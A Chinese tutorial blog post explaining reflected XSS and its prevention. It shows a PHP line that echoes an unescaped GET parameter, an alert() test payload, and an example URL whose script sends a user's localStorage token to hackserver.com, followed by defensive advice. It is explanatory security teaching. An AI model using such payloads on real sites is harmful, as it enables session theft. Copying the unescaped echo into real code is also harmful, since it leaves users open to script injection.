美文网首页
XSS攻击原理与解决方案

XSS攻击原理与解决方案

作者: geeklibin | 来源:发表于2020-09-27 22:59 被阅读0次

    简介

    跨站脚本攻击(Cross Site Scripting)缩写CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故取名Xss,Xss攻击是网络安全攻击中非常常见的一种攻击方式。它是对网页注入可执行脚本的一种攻击方式。

    1、反射型XSS

    假设我们的网站中有这样一行代码:

    ...
    <span>输入:<?php echo $_GET['input'];?></span>
    ...
    

    这是一个简单的页面,$_GET获取了变量名为input的值,通过echo函数输出了值。
    这个时候我们访问:domain.com/index.php?input=helloworld

    image.png
    页面会出现“输入:helloworld”,一切看起来都很正常。
    但是我们输入一些javascript呢?
    例如在浏览器里访问:domain.com/index.php?input=<script>alert('xss')</script>
    image.png
    没错它弹窗了。
    但这并没有实际意义,但是通过这个原理知道了,输入javascript代码是可以被执行的。当我们输入一些其他复杂代码,比如document.cookie就会盗取用户cookie信息,或读取其他重要信息。
    攻击例子

    还是刚刚这个网页,我们假设某个用户的这个网页中的localstorage中保存着用户token。再假设这时候访问:domain.com/index.php?input=<script>location.href='http://hackserver.com/?xss='+localStorage.getItem('token')</script>
    这正是将 授权登陆的token发送给了攻击者的服务器,攻击者拿到token就等于拿到了登陆态,攻击者正是通过发送此类似链接,诱导用户点击进行攻击。因此不要点击陌生链接。

    如何预防

    1、不要相信用户输入,过滤所有的HTTP Request参数。
    2、用户输入长度限制。
    3、http-only,禁止js读取某些cookie。
    4、避免拼接html。
    5、避免内联事件。如<button onclick="load('{{ data }}')">点</button>
    6、主动检测和发现

    相关文章

      网友评论

          本文标题:XSS攻击原理与解决方案

          本文链接:https://www.haomeiwen.com/subject/mdtruktx.html